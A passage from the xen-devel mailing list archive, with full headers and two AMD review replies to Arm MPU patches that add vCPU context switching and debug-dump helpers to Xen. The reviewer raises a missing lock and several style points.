 b=yjsE0NnOa9EyV53cd/DUolGa/H4maB5ZKjLcbGNGGY57s1ZvcwAauMHm7K4Z819f9BsrECwX/iZyh11uOWC1SSLI8FV2NRnYT/cG0qJV5R0VU9rjuCtfLDJ6IUw+Bc4dowAy59EClxf8d5KCYNsADFWM2xAguyATbXnwRUCOOfw=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <702eb2ba-e02f-4f95-9a1b-01ed75d00f50@amd.com>
Date: Fri, 10 Jul 2026 16:11:56 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 4/8] arm/mpu: Support vCPU context switch on MPU systems
To: Luca Fancellu <luca.fancellu@arm.com>, <xen-devel@lists.xenproject.org>
CC: Penny Zheng <Penny.Zheng@arm.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, Wei Chen <wei.chen@arm.com>, "Hari
 Limaye" <hari.limaye@arm.com>, Harry Ramsey <harry.ramsey@arm.com>
References: <20260420142524.1804073-1-luca.fancellu@arm.com>
 <20260420142524.1804073-5-luca.fancellu@arm.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <20260420142524.1804073-5-luca.fancellu@arm.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF00002310:EE_|MW3PR12MB4473:EE_
X-MS-Office365-Filtering-Correlation-Id: bc1b0c7e-1fac-4a2c-1682-08dede9599c6
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|1800799024|82310400026|376014|7416014|36860700016|56012099006|11063799006|4143699003|6133799003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	5Jcc91B5gWU8jnITyNIlEa48gndHONcrUDVIJ0n2FkT7jPgBgyAZ6t3LljVsivSqK74kK3PRAdNXqi714dG6h3cc/6geWdKgaZ5z6gjsG5qPGKyL6WQrQsRj6ajttuPsOoOXWO7Kg4lzrqNeHqOJV24L79eEIUb2aaXcWjrwjcJS1FbKchnqOfJ0Uav/W4XV3Sq+2vULZLtaaXPYbYLX/VmPKNkPTo318QHT8aKOTSLdrSelYDqsnOqZkbdyqyxsRYRMLkt/Tv+7+2+YnugF8fB3ydAAizgYVF85WrnJ8DUwPByqyzLmm/Tgnj8rtqjlooGmkZadQDAtGY3TNG1gMyD6o7jA/GuLhTb9qSyjhcZcrmcQX+kHmW93d9URrUbMiQ2LM0mHoiSvvTf4VYPWC4Zws5Ar+P1H0fEcjIDq5dB+nhNlbX3nKqW6NQm5iHHRGS+8var9ZS/e3612fCr4uCePl3vF7vANbsNsrxgho6mXT1UoIJBhWnoF4O91P7gJAIMn7Cm72jl8Jz1SWZtzLAchOZJ8wMqO6nRHBmsLSWW7TOX0QWGEc7kTL1sZS1w/hfSIk71Z4wkZqP8gG7i2ThhCHHymxwWhmE4sg4PyTiZDuR5AI6cGzYycOmURKQOwxJyMFe8uoNsZJrZ+SsSkR6P5QVdUuM68YEr7uLEx5NmBDZ0iRuYLiqmN4DuFh+UOVihoROc7bpBoQIjZJ1VjAg==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(82310400026)(376014)(7416014)(36860700016)(56012099006)(11063799006)(4143699003)(6133799003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	PMPOhQl7gFZpaqJrEbIAPJn/j7y+3/ReypOKws9AWZ+30MmTjTco7axS90GM6F0EbABAN40HqRbmiNYnsf7PUUxbOPKJqLaa9Qp7XZL+NzEbeHRnsLSyzYfbcwOS1ypiknaFeTLs11tyxsFJMku9dCv/ZBSG/Gu3K8bIHgnEEZAyaRr6imo9aV2dS8RHcjSGInn6ejDGavgdAoSsAFL9S8Cb2RzvhGFXOCuMmeK/BSoKNJ7HDQMaVXMt0K+Ge4/6zjwgLmV7FGgOK0w7XenH89hQs+7ui8G8RKy/OspVxYM5TlzKLlSqkg4piyoglcJB677pUrNk4tfRsnE/xbj8AG+x5Xt4CmvbUsR/3skcy18VUGE9rY4CR2sadpL9s2mxt8YoJn+E1U4s2uggRP6F7zd7wO9cyZutA3KB/WmJUYFajM2Ehn4Y+dg57zSfEB/S
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 15:12:04.3288
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: bc1b0c7e-1fac-4a2c-1682-08dede9599c6
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF00002310.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MW3PR12MB4473
X-purgate-ID: tlsNG-4011c0/1783696330-3D576248-B5F7EE2D/0/0
X-purgate-type: clean
X-purgate-size: 5154

Hi Luca,

On 20/04/2026 15:25, Luca Fancellu wrote:
> From: Penny Zheng <Penny.Zheng@arm.com>
>
> Implement the functions p2m_save_state and p2m_restore_state for MPU
> systems. Unlike on MMU systems, where we simply update VTTBR_EL2 with
> the incoming guest's p2m table on context switch, we have to disable the
> outgoing guest's p2m memory regions and enable the incoming guest's p2m
> memory regions.
>
> Signed-off-by: Penny Zheng <penny.zheng@arm.com>
> Signed-off-by: Wei Chen <wei.chen@arm.com>
> Signed-off-by: Luca Fancellu <luca.fancellu@arm.com>
> Signed-off-by: Hari Limaye <hari.limaye@arm.com>
> Signed-off-by: Harry Ramsey <harry.ramsey@arm.com>
> ---
>   xen/arch/arm/include/asm/mpu/cpregs.h |  4 +++
>   xen/arch/arm/mpu/mm.c                 | 11 +++++--
>   xen/arch/arm/mpu/p2m.c                | 47 +++++++++++++++++++++++++--
>   3 files changed, 57 insertions(+), 5 deletions(-)
>
> diff --git a/xen/arch/arm/include/asm/mpu/cpregs.h b/xen/arch/arm/include/asm/mpu/cpregs.h
> index 9f3b32acd79f..5a3d92cf5389 100644
> --- a/xen/arch/arm/include/asm/mpu/cpregs.h
> +++ b/xen/arch/arm/include/asm/mpu/cpregs.h
> @@ -6,6 +6,9 @@
>   /* CP15 CR0: MPU Type Register */
>   #define HMPUIR          p15,4,c0,c0,4
>   
> +/* CP15 CR2: Virtualization System Control register */
> +#define VSCTLR          p15,4,c2,c0,1
> +
>   /* CP15 CR6: Protection Region Enable Register */
>   #define HPRENR          p15,4,c6,c1,1
>   
> @@ -88,6 +91,7 @@
>   #define PRENR_EL2       HPRENR
>   #define PRLAR_EL2       HPRLAR
>   #define PRSELR_EL2      HPRSELR
> +#define VSCTLR_EL2      VSCTLR
>   #endif /* CONFIG_ARM_32 */
>   
>   #endif /* __ARM_MPU_CPREGS_H */
> diff --git a/xen/arch/arm/mpu/mm.c b/xen/arch/arm/mpu/mm.c
> index 4ee58ded5ad6..5ed77355a5f9 100644
> --- a/xen/arch/arm/mpu/mm.c
> +++ b/xen/arch/arm/mpu/mm.c
> @@ -421,9 +421,14 @@ static int xen_mpumap_update_entry(paddr_t base, paddr_t limit,
>       return 0;
>   }
>   
> -int check_mpu_mapping(paddr_t base, paddr_t limit, unsigned int flags)
> +static bool check_mpu_mapping(paddr_t base, paddr_t limit, unsigned int flags,
> +                              bool p2m)
The static bool conversion belongs in patch 1 where the function is
introduced; only the new p2m parameter is in scope
for this patch.
>   {
> -    if ( flags_has_rwx(flags) )
> +    /*
> +     * Mappings should not be both Writeable and Executable, unless
> +     * it is for guest P2M mapping.
> +     */
> +    if ( flags_has_rwx(flags) && !p2m )
>       {
>           printk("Mappings should not be both Writeable and Executable\n");
>           return false;
> @@ -450,7 +455,7 @@ int xen_mpumap_update(paddr_t base, paddr_t limit, unsigned int flags, bool p2m)
>   {
>       int rc;
>   
> -    if ( !check_mpu_mapping(base, limit, flags) )
> +    if ( !check_mpu_mapping(base, limit, flags, p2m) )
>           return -EINVAL;
>   
>       spin_lock(&xen_mpumap_lock);
> diff --git a/xen/arch/arm/mpu/p2m.c b/xen/arch/arm/mpu/p2m.c
> index f2482237412b..bf87c65c106c 100644
> --- a/xen/arch/arm/mpu/p2m.c
> +++ b/xen/arch/arm/mpu/p2m.c
> @@ -285,14 +285,57 @@ int p2m_init(struct domain *d)
>       return 0;
>   }
>   
> +static int p2m_xenmpu_update(struct p2m_domain *p2m, bool online)
> +{
> +    pr_t *p2m_table;
> +    unsigned int flags = online ? _PAGE_PRESENT : 0;
> +
> +    p2m_table = (pr_t *)page_to_virt(p2m->root);
> +    if ( !p2m_table )
> +        return -EINVAL;
> +
> +    for ( unsigned int i = 0; i < p2m->nr_regions; i++ )
> +    {
> +        paddr_t base = pr_get_base(&p2m_table[i]);
> +        paddr_t limit = pr_get_limit(&p2m_table[i]) + 1;
> +        unsigned int region_flags;
> +
> +        region_flags = build_p2m_flags(region_get_p2m(&p2m_table[i])) | flags;
> +        if ( xen_mpumap_update(base, limit, region_flags, true) )
> +        {
> +            printk(XENLOG_G_ERR "Unable to update MPU memory mapping with P2M region %#"PRIpaddr"-%#"PRIpaddr"\n",
> +                   base, limit);
> +            return -EINVAL;
> +        }
> +    }
> +
> +    return 0;
> +}
> +
> +/* p2m_save_state and p2m_restore_state work in pair. */
>   void p2m_save_state(struct vcpu *p)
>   {
> -    BUG_ON("unimplemented");
> +    struct p2m_domain *p2m = p2m_get_hostp2m(p->domain);
> +
> +    p->arch.sctlr = READ_SYSREG(SCTLR_EL1);
> +
> +    if ( p2m_xenmpu_update(p2m, false) )
> +        panic("Failed to offline P2M MPU memory mapping\n");
>   }
>   
>   void p2m_restore_state(struct vcpu *n)
>   {
> -    BUG_ON("unimplemented");
> +    struct p2m_domain *p2m = p2m_get_hostp2m(n->domain);
> +    uint8_t *last_vcpu_ran = &p2m->last_vcpu_ran[smp_processor_id()];
> +
> +    WRITE_SYSREG(n->arch.sctlr, SCTLR_EL1);
> +    WRITE_SYSREG(n->arch.hcr_el2, HCR_EL2);
> +
> +    WRITE_SYSREG(p2m->vsctlr, VSCTLR_EL2);
> +    if ( p2m_xenmpu_update(p2m, true) )
> +        panic("Failed to online P2M MPU memory mapping\n");
> +
> +    *last_vcpu_ran = n->vcpu_id;
>   }
>   
>   void p2m_final_teardown(struct domain *d)
- Ayan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 15:34:44 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 15:34:44 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359545.1613076 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDFN-0004ol-LO; Fri, 10 Jul 2026 15:34:37 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359545.1613076; Fri, 10 Jul 2026 15:34:37 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDFN-0004od-HC; Fri, 10 Jul 2026 15:34:37 +0000
Received: by outflank-mailman (input) for mailman id 1359545;
 Fri, 10 Jul 2026 15:34:35 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ayan.kumar.halder@amd.com>) id 1wiDFL-0004oX-Cb
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 15:34:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiDFK-00HVlE-PR
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 17:34:34 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a511103-2eae-0a2a0a5409dd-0a2a4508ce84-12
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:34:34 +0200
Received: from [52.101.62.53]
 (helo=DM5PR21CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <ayan.kumar.halder@amd.com>)
 id 6a511109-ee29-0a2a45080019-34653e35cfdf-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 17:34:34 +0200
Received: from SJ0PR13CA0048.namprd13.prod.outlook.com (2603:10b6:a03:2c2::23)
 by DS0PR12MB6414.namprd12.prod.outlook.com (2603:10b6:8:cd::12) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Fri, 10 Jul
 2026 15:34:29 +0000
Received: from SJ5PEPF000001C9.namprd05.prod.outlook.com
 (2603:10b6:a03:2c2:cafe::83) by SJ0PR13CA0048.outlook.office365.com
 (2603:10b6:a03:2c2::23) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.6 via Frontend Transport; Fri, 10
 Jul 2026 15:34:28 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 SJ5PEPF000001C9.mail.protection.outlook.com (10.167.242.37) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Fri, 10 Jul 2026 15:34:28 +0000
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 10:34:28 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 10:34:27 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=szSsYjfgviui3n9eg8Z8wLFvPdEdvFABuPFzaqXB2mR8nM6U9rxRHxQ/ELo/r/G8wX7Ud2L7tWs04r6S5VcDXqNID4iYoimPp+p9zr2l6LqWeQv2ILzkABVCqb/ms4vpZt0J7KkAgqdawqwNHDxSdvpvxihWXKBzNBNEkLVvA8D0QWOpzneI1OQZiHfbEEeBdyhIoOu0PZMNegYMg+klHroHjp59FZbHsn52zdOWwcjsVxYeA4qHNxcEMciVuA94uG6uzCjM6K1EIp7KoMlwQpRyXnrsYPZOn42jg0V46viWpTyKmalppkw6OMHki1Nk7zc1U8pNYvw8U0NbUDsNLQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Oq0DjRq+ZiD6Ir916Wa2HhE0ND2dQaCyEKxwapufmns=;
 b=oGwFRJxHKvIsymgxF86DshU8oTPj9lRzoZ2KsmuzTkzMYvoJAJnp9w97bLwrlGhjlqU4pnY9Tiifuf6Rphu5TsQfAHCc/u5/Yjq5N3Gx63n6iuxRUypgeyfzq3rN5nTzyGhPVbCwPSkrDadIpcr05Pgt/F44bL4QzTP5WJcQpng4Ksw2AXkzb5WCQ2JBK+TE3IozrvlqVnSciXoIguyhDZ0NHUTW7DJFXP8RegDNvBZrd3jI632yZ5Q7pJZBUm7kIif+iGehrIjEpG+DS6r+UGuI0aWpH40pv/HTOLilrZGRapwfyP36AkHHZ26BCCK9nLYQzxnD+/FkfgERHz2c9A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=arm.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Oq0DjRq+ZiD6Ir916Wa2HhE0ND2dQaCyEKxwapufmns=;
 b=MWJITm3z+f7pEoIKPnLlav65Ci8LzZ74xG6R+TkUj9YupYoKj4CHOrkv/vO0BXoeXx7u4iAIMwSNKusVNIjnUDIYqLEd1oUij1sehs4dPzvAZDwNRArmLzDVQ43yA/83CTKEFRanhKSP7HkTkwwYcPYLQ/g0mU79Ln3lUCPgIjM=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <eb9e2017-dfba-4336-98cb-7b688aae566f@amd.com>
Date: Fri, 10 Jul 2026 16:34:26 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 6/8] xen/arm: dump debug message in MPU system
To: Luca Fancellu <luca.fancellu@arm.com>, <xen-devel@lists.xenproject.org>
CC: Penny Zheng <Penny.Zheng@arm.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, Wei Chen <wei.chen@arm.com>
References: <20260420142524.1804073-1-luca.fancellu@arm.com>
 <20260420142524.1804073-7-luca.fancellu@arm.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <20260420142524.1804073-7-luca.fancellu@arm.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ5PEPF000001C9:EE_|DS0PR12MB6414:EE_
X-MS-Office365-Filtering-Correlation-Id: f63f7e65-9539-4864-b0f0-08dede98bb0a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|36860700016|82310400026|376014|1800799024|6133799003|56012099006|11063799006|4143699003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	o+NaEzwlLDnlOWd5PcvB8PxAktTs1GH/cwxZKIhcWCyLfzMiay2esMPhmdGMqKI/NJZ/nQepsUt/BF9cJy4ECu4VSo+P+JN4WDhYZTR2Tm+p4SpvAH2l8EwIeGiFgoH+DpYDN0ES9JKntiruKul8IFXF1rhkVh45Y6gCWEAOE56xwVJWdNs120m9WT3whIA6WzNhvNAZRpam2F3cPCrIfWld6iHZPHDgJWuCqOlkBxhMN1HJkhNa3Mj+72EQoBAKIb5xnRr1NiCP2KU2QA+c7vhsLlkAIDHQmzXdOgtxHaEYSrG194cRErIsvFhDIzYPJg/GtrNUI+mqrTuiqPUSUnLKoxh8yzhhHzN6ZMjgoUd4cYBZnqNzuH+Pg0m0IKMOOjA24linJV53R4F2qStpzTE6azhpM39TCVLVxfS7520LfNYQROTX4/I4lyQegvwGE0xD9lcgl/grJZMn4e0ZyNKfInbk4Q5Ivp7rFdoGXNKHmSvjpTnztODXJD4etb5zT07SI9lFQAA61dwZYuRyaWQTqM4qtyk14Z7Ecs2EwvZqTqcs4N8Uvp77I/2AK5MogaqZMsy+zkeIjWJIwBIdTfhKJK0C0FcvhC1f9T2hviBBfWCBb3ZTMN+f5cl5LYOMozurqDJL5DT7XQSK01Nfx8sI7XcwTSDgCs9cVidqwkQMttsnFHSJqiZ3cOUAHSAZC1LOqlDTASqEk03j/2CE/A==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(23010399003)(36860700016)(82310400026)(376014)(1800799024)(6133799003)(56012099006)(11063799006)(4143699003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	Yrjrhq5WZTTPd7jYDAdSYjDaHu2PewkxZUI9FfhwM/S9WNGkXGiHQLYA61sjQYrfyd3scNv+rz5gA/WQCdH+c4JtYhy7Tic7IoDnzKorTCdO6+oUHBKsj94cWCr24cOrUqJ7BOlUxzgh4RkGWJHSJRyGxbutyLL0SvGMJDH4EAdKLV0Bnuj026MENjKj1l6H7y4ehWjAbNJu5jd6BT1nvslObEAYCxY37Vt0+qT/elWU2gbZqfEEEZ3tbg+mMezrc9uBOoGcGyfS/Tzg4BWky++YXWkSzwUPsz0HNs2uVWJck6kvwoH6Hn/9GhF2q5evE5XUy7VCV6dPDf7Of00qPwz5nJoj7g0S0gP4mDWWKIamgU8ZVTXsfd+q8Ik/82r7jT3yupauvjER6KmJDUcJmMrMi2O+BycjQxcYg1VvQJR8l4pRzPpufw2+qsVcNnOS
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 15:34:28.6962
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: f63f7e65-9539-4864-b0f0-08dede98bb0a
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ5PEPF000001C9.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR12MB6414
X-purgate-ID: tlsNG-c1860d/1783697674-79C2E01C-8670C4D1/0/0
X-purgate-type: clean
X-purgate-size: 4725

Hi Luca,

On 20/04/2026 15:25, Luca Fancellu wrote:
> From: Penny Zheng <Penny.Zheng@arm.com>
>
> A set of helpers dump_xxx and show_registers are responsible for
> dumping memory mapping info and register info when debugging.
> In this commit, we implement them all in MPU system too.
>
> Signed-off-by: Penny Zheng <penny.zheng@arm.com>
> Signed-off-by: Wei Chen <wei.chen@arm.com>
> Signed-off-by: Luca Fancellu <luca.fancellu@arm.com>
> ---
>   xen/arch/arm/mpu/mm.c  | 12 +++++++++++-
>   xen/arch/arm/mpu/p2m.c | 40 +++++++++++++++++++++++++++++++++++++++-
>   xen/arch/arm/traps.c   |  8 ++++++++
>   3 files changed, 58 insertions(+), 2 deletions(-)
>
> diff --git a/xen/arch/arm/mpu/mm.c b/xen/arch/arm/mpu/mm.c
> index 5ed77355a5f9..459fb952d125 100644
> --- a/xen/arch/arm/mpu/mm.c
> +++ b/xen/arch/arm/mpu/mm.c
> @@ -554,7 +554,17 @@ int modify_xen_mappings(unsigned long s, unsigned long e, unsigned int nf)
>   
>   void dump_hyp_walk(vaddr_t addr)
>   {
> -    BUG_ON("unimplemented");
> +    uint8_t i = 0;
> +    pr_t region;
> +
> +    for ( i = 0; i < max_mpu_regions; i++ )
> +    {
> +        read_protection_region(&region, i);
> +        if ( region_is_valid(&region) )
> +            printk(XENLOG_INFO
> +                   "Walking hypervisor MPU memory region [%u]: 0x%"PRIpaddr"-0x%"PRIpaddr"\n",
> +                   i, pr_get_base(&region), pr_get_limit(&region));
> +    }
>   }
>   
>   /* Release all __init and __initdata ranges to be reused */
> diff --git a/xen/arch/arm/mpu/p2m.c b/xen/arch/arm/mpu/p2m.c
> index bf87c65c106c..06c92a3ef41b 100644
> --- a/xen/arch/arm/mpu/p2m.c
> +++ b/xen/arch/arm/mpu/p2m.c
> @@ -215,9 +215,47 @@ mfn_t p2m_get_entry(struct p2m_domain *p2m, gfn_t gfn,
>       return p2m_get_mpu_region(p2m, gfn, 1, t, valid);
>   }
>   
> +static void dump_mpu_walk(pr_t *table, uint8_t nr_regions)
> +{
> +    uint8_t i = 0;
> +
> +    for ( ; i < nr_regions; i++ )
NIT: for ( uint8_t i = 0; ... ).
> +    {
> +        paddr_t base, limit;
> +
> +        if ( region_is_valid(&table[i]) )
> +        {
> +            base = pr_get_base(&table[i]);
> +            limit = pr_get_limit(&table[i]);
> +
> +            printk(XENLOG_INFO
> +                   "Walking MPU memory mapping table: Region[%u]: 0x%"PRIpaddr"-0x%"PRIpaddr"\n",
> +                   i, base, limit);
> +        }
> +    }
> +}
> +
> +void dump_p2m_lookup(struct domain *d, paddr_t addr)
> +{
> +    struct p2m_domain *p2m = p2m_get_hostp2m(d);
> +
> +    printk("dom%d IPA 0x%"PRIpaddr"\n", d->domain_id, addr);

Shouldn't we take a lock here like we do for the next function ?

p2m_read_lock(p2m);

> +
> +    printk("P2M @ %p mfn:%#"PRI_mfn"\n",
> +           p2m->root, mfn_x(page_to_mfn(p2m->root)));
> +
> +    dump_mpu_walk((pr_t *)page_to_virt(p2m->root), p2m->nr_regions);
> +}
> +
>   void p2m_dump_info(struct domain *d)
>   {
> -    BUG_ON("unimplemented");
> +    struct p2m_domain *p2m = p2m_get_hostp2m(d);
> +
> +    p2m_read_lock(p2m);
> +    printk("p2m mappings for domain %d (vmid %d):\n",
> +           d->domain_id, p2m->vmid);
> +    printk("  Number of P2M Memory Region: %u \n", p2m->nr_regions);
Trailing whitespace before the newline.
> +    p2m_read_unlock(p2m);
>   }
>   
>   static int p2m_alloc_table(struct domain *d)
> diff --git a/xen/arch/arm/traps.c b/xen/arch/arm/traps.c
> index 081bd2e51979..fba7d6c00e37 100644
> --- a/xen/arch/arm/traps.c
> +++ b/xen/arch/arm/traps.c
> @@ -718,6 +718,8 @@ struct reg_ctxt {
>   #ifdef CONFIG_MMU
>       /* Hypervisor-side state */
>       uint64_t vttbr_el2;
> +#else
> +    uint64_t vsctlr_el2;
>   #endif
>   };
>   
> @@ -918,6 +920,8 @@ static void _show_registers(const struct cpu_user_regs *regs,
>       printk("  VTCR_EL2: %"PRIregister"\n", READ_SYSREG(VTCR_EL2));
>   #ifdef CONFIG_MMU
>       printk(" VTTBR_EL2: %016"PRIx64"\n", ctxt->vttbr_el2);
> +#else
> +    printk(" VSCTLR_EL2: %016"PRIx64"\n", ctxt->vsctlr_el2);
>   #endif
>       printk("\n");
>   
> @@ -959,6 +963,8 @@ void show_registers(const struct cpu_user_regs *regs)
>   #endif
>   #ifdef CONFIG_MMU
>       ctxt.vttbr_el2 = READ_SYSREG64(VTTBR_EL2);
> +#else
> +    ctxt.vsctlr_el2 = READ_SYSREG(VSCTLR_EL2);
>   #endif
>   
>       _show_registers(regs, &ctxt, guest_mode(regs), current);
> @@ -985,6 +991,8 @@ void vcpu_show_registers(struct vcpu *v)
>   
>   #ifdef CONFIG_MMU
>       ctxt.vttbr_el2 = v->domain->arch.p2m.vttbr;
> +#else
> +    ctxt.vsctlr_el2 = v->domain->arch.p2m.vsctlr;
>   #endif
>   
>       _show_registers(&v->arch.cpu_info->guest_cpu_user_regs, &ctxt, 1, v);
- Ayan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 15:53:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
